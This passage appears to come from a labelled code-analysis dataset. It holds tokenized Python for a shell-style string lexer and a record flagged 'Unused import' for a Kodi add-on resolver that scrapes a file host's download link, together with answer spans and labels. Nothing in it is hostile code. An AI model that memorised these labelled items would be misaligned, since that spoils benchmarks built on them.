"self_", "._", "state_", "._", "push_", "(_", "\"", "dq", "uot", "ed", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "char_", "==_", "\"'\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "self_", "._", "state_", "._", "push_", "(_", "\"", "sq", "uot", "ed", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "char_", "==_", "\"{\"_", "and_", "self_", "._", "parse", "\\u", "bq", "uot", "ed_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "self_", "._", "state_", "._", "push_", "(_", "\"", "bq", "uot", "ed", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "char_", "==_", "\"\\\\\\\\\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "self_", "._", "state_", "._", "push_", "(_", "\"", "escape", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "char_", "==_", "\"$\"_", "and_", "variables_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "token_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "state_", "._", "push_", "(_", "\"", "variab", "le", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "self_", "._", "cur_", "+=_", "char_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "self_", "._", "state_", "._", "last_", "==_", "\"", "escape", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "if_", "not_", "char_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "done_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i_", "-=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "state_", "._", "pop_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "char_", "==_", "\"", "x", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "token_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "state_", "._", "last_", "=_", "\"", "escape", " ", "hex", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "char_", "in_", "\"", "0123", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "token_", "=_", "char_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "state_", "._", "last_", "=_", "\"", "escape", " ", "oct", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "char_", "in_", "self_", "._", "escape", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "self_", "._", "cur_", "+=_", "self_", "._", "escape", "s_", "[_", "char_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "append_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "state_", "._", "pop_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "self_", "._", "cur_", "+=_", "char_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "state_", "._", "pop_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "self_", "._", "state_", "._", "last_", "==_", "\"", "escape", " ", "hex", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "if_", "char_", "and_", "char_", "in_", "\"", "0123456", "789", "abcde", "f", "ABCDE", "F", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "token_", "+=_", "char_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "token_", ")_", "==_", "2_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "self_", "._", "cur_", "+=_", "chr_", "(_", "int_", "(_", "token_", ",_", "16_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "state_", "._", "pop_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "raise_", "Parser", "Error_", "(_", "\"", "invalid", " ", "hex", " ", "character", " ", "%", "r", "\"_", "%_", "char_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "self_", "._", "state_", "._", "last_", "==_", "\"", "escape", " ", "oct", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "if_", "char_", "and_", "char_", "in_", "\"", "0123456", "7", "\"_", "and_", "len_", "(_", "token_", ")_", "<_", "3_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "token_", "+=_", "char_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "self_", "._", "cur_", "+=_", "chr_", "(_", "int_", "(_", "token_", ",_", "8_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i_", "-=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "state_", "._", "pop_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "self_", "._", "state_", "._", "last_", "==_", "\"", "dq", "uot", "ed", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "if_", "char_", "==_", "\"\\\\\"\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "append_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "state_", "._", "pop_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "char_", "==_", "\"\\\\\\\\\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "self_", "._", "state_", "._", "push_", "(_", "\"", "escape", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "char_", "==_", "\"$\"_", "and_", "variables_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "token_", "=_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "state_", "._", "push_", "(_", "\"", "variab", "le", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "char_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "self_", "._", "cur_", "+=_", "char_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "multiline", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "done_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "raise_", "Parser", "Error_", "(_", "\"", "missi", "ng", " ", "clos", "ing", " ", "\\\\\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "self_", "._", "state_", "._", "last_", "==_", "\"", "sq", "uot", "ed", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "if_", "char_", "==_", "\"'\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "append_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "state_", "._", "pop_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "char_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "self_", "._", "cur_", "+=_", "char_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "multiline", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "done_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "raise_", "Parser", "Error_", "(_", "\"", "missi", "ng", " ", "clos", "ing", " ", "'\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "self_", "._", "state_", "._", "last_", "==_", "\"", "bq", "uot", "ed", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "if_", "char_", "==_", "\"}\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "if_", "self_", "._", "state_", "._", "prev_", "(_", "1_", ")_", "==_", "\"", "bq", "uot", "ed", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "self_", "._", "cur_", "+=_", "char_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "append_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "state_", "._", "pop_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "char_", "==_", "\"{\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "self_", "._", "cur_", "+=_", "char_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "state_", "._", "push_", "(_", "\"", "bq", "uot", "ed", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "char_", "==_", "\"\\\\\\\\\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "state_", "._", "push_", "(_", "\"", "escape", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "char_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "self_", "._", "cur_", "+=_", "char_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "done_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "self_", "._", "state_", "._", "last_", "==_", "\"", "variab", "le", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "var_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "char_", "and_", "char_", "in_", "\"", "ABCDE", "FG", "HI", "JK", "LM", "NOP", "QR", "STU", "VW", "XY", "Z", "\"_", "\"", "abcdefg", "hij", "kl", "mn", "op", "qr", "stu", "vw", "xyz", "\"_", "\"", "0123456", "789", "\\u\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "token_", "+=_", "char_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "char_", "==_", "\"$\"_", "and_", "not_", "token_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "var_", "=_", "str_", "(_", "os_", "._", "getpid_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "char_", "==_", "\"{\"_", "and_", "not_", "token_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "token_", "+=_", "char_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "token_", "and_", "token_", "[_", "0_", "]_", "==_", "\"{\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "if_", "char_", "==_", "\"}\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "var_", "=_", "variables_", "._", "get_", "(_", "token_", "[_", "1_", ":_", "]_", ",_", "\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "multiline", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "done_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "raise_", "Parser", "Error_", "(_", "\"", "missi", "ng", " ", "clos", "ing", " ", "}\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "i_", "-=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "var_", "=_", "variables_", "._", "get_", "(_", "token_", ",_", "\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "var_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t_", "if_", "self_", "._", "state_", "._", "prev_", "(_", ")_", "==_", "\"", "raw", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "var_", "=_", "(_", "self_", "._", "cur_", "+_", "var_", ")_", "._", "split_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "var_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t\t_", "self_", "._", "cur_", "=_", "var_", "._", "pop_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "token_", "in_", "var_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t\t\t_", "if_", "token_", "or_", "append_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t\t\t\t_", "self_", "._", "words_", "._", "append_", "(_", "token_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "append_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t\t\t_", "self_", "._", "cur_", "+=_", "var_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "state_", "._", "pop_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "i_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "multiline", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "done_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "done_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "err_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "not_", "self_", "._", "state_", "or_", "self_", "._", "state_", "._", "last_", "==_", "\"", "raw", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "err_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "self_", "._", "state_", "._", "last_", "in_", "(_", "\"", "bq", "uot", "ed", "\"_", ",_", "\"", "variab", "le", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "raise_", "Parser", "Error_", "(_", "\"", "missi", "ng", " ", "clos", "ing", " ", "}\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "self_", "._", "state_", "._", "last_", "==_", "\"", "escape", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "raise_", "Parser", "Error_", "(_", "\"", "extra", " ", "backslash", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "self_", "._", "state_", "._", "last_", "==_", "\"", "escape", " ", "hex", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "raise_", "Parser", "Error_", "(_", "\"", "truncat", "ed", " ", "hex", " ", "escape", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "self_", "._", "state_", "._", "last_", "==_", "\"", "escape", " ", "oct", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "raise_", "Parser", "Error_", "(_", "\"", "truncat", "ed", " ", "oct", " ", "escape", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "raise_", "Parser", "Error_", "(_", "\"", "foo", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "done_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "return_", "self_", "._", "words_", ",_", "self_", "._", "reset_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "return_", "self_", "._", "words_", ",_", "False_", "\\u\\u\\uNEWLINE\\u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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
mrknow/filmkodi/plugin.video.specto/resources/lib/resolvers/mrfile.py
[ { "content": "# -*- coding: utf-8 -*-\n\n'''\n Specto Add-on\n Copyright (C) 2015 lambda\n\n This program is free software: you can redistribute it and/or modify\n it under the terms of the GNU General Public License as published by\n the Free Software Foundation, either version 3 of the License, or\n (at your option) any later version.\n\n This program is distributed in the hope that it will be useful,\n but WITHOUT ANY WARRANTY; without even the implied warranty of\n MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n GNU General Public License for more details.\n\n You should have received a copy of the GNU General Public License\n along with this program. If not, see <http://www.gnu.org/licenses/>.\n'''\n\n\nimport re,urllib\nfrom resources.lib.libraries import client\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def resolve(url):\n try:\n result = client.request(url)\n\n post = {}\n f = client.parseDOM(result, 'Form', attrs = {'name': 'F1'})[-1]\n k = client.parseDOM(f, 'input', ret='name', attrs = {'type': 'hidden'})\n for i in k: post.update({i: client.parseDOM(f, 'input', ret='value', attrs = {'name': i})[0]})\n post.update({'method_free': '', 'method_premium': ''})\n\n\n result = client.request(url, post=post)\n\n url = re.compile('(<a\\s+href=.+?>Download\\s+.+?</a>)').findall(result)[-1]\n url = client.parseDOM(url, 'a', ret='href')[0]\n return url\n except:\n return", "metadata": "root.resolve", "header": "['module', '___EOS___']", "index": 25 } ]
[ { "span": "import re,urllib", "start_line": 21, "start_column": 0, "end_line": 21, "end_column": 16 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "'''", "\\", "10", ";", " ", " ", " ", " ", "Spect", "o", " ", "Add", "-", "on", "\\", "10", ";", " ", " ", " ", " ", "Copy", "right", " ", "(", "C", ")", " ", "201", "5", " ", "lambda", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "program", " ", "is", " ", "free", " ", "software", ":", " ", "you", " ", "can", " ", "redis", "tribut", "e", " ", "it", " ", "and", "/", "or", " ", "modif", "y", "\\", "10", ";", " ", " ", " ", " ", "it", " ", "under", " ", "the", " ", "term", "s", " ", "of", " ", "the", " ", "GN", "U", " ", "General", " ", "Public", " ", "License", " ", "as", " ", "publi", "shed", " ", "by", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "Free", " ", "Sof", "twa", "re", " ", "Foun", "dati", "on", ",", " ", "eit", "her", " ", "version", " ", "3", " ", "of", " ", "the", " ", "License", ",", " ", "or", "\\", "10", ";", " ", " ", " ", " ", "(", "at", " ", "your", " ", "option", ")", " ", "any", " ", "late", "r", " ", "version", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "program", " ", "is", " ", "distributed", " ", "in", " ", "the", " ", "hop", "e", " ", "tha", "t", " ", "it", " ", "will", " ", "be", " ", "usef", "ul", ",", "\\", "10", ";", " ", " ", " ", " ", "but", " ", "WITH", "OUT", " ", "ANY", " ", "WAR", "RAN", "TY", ";", " ", "with", "out", " ", "even", " ", "the", " ", "impli", "ed", " ", "warr", "ant", "y", " ", "of", "\\", "10", ";", " ", " ", " ", " ", "MER", "CHAN", "TAB", "ILI", "TY", " ", "or", " ", "FIT", "NESS", " ", "FOR", " ", "A", " ", "PARTI", "CUL", "AR", " ", "PUR", "POS", "E", ".", " ", " ", "See", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "GN", "U", " ", "General", " ", "Public", " ", "License", " ", "for", " ", "more", " ", "deta", "il", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "You", " ", "shou", "ld", " ", "have", " ", "receive", "d", " ", "a", " ", "copy", " ", "of", " ", "the", " ", "GN", "U", " ", "General", " ", "Public", " ", "License", "\\", "10", ";", " ", " ", " ", " ", "along", " ", "with", " ", "this", " ", "program", ".", " ", " ", "If", " ", "not", ",", " ", "see", " ", "<", "http", "://", "www", ".", "gnu", ".", "org", "/", "license", "s", "/>", ".", "\\", "10", ";'", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "re_", ",_", "urllib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "resources_", "._", "lib_", "._", "libraries_", "import_", "client_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "resolve_", "(_", "url_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", 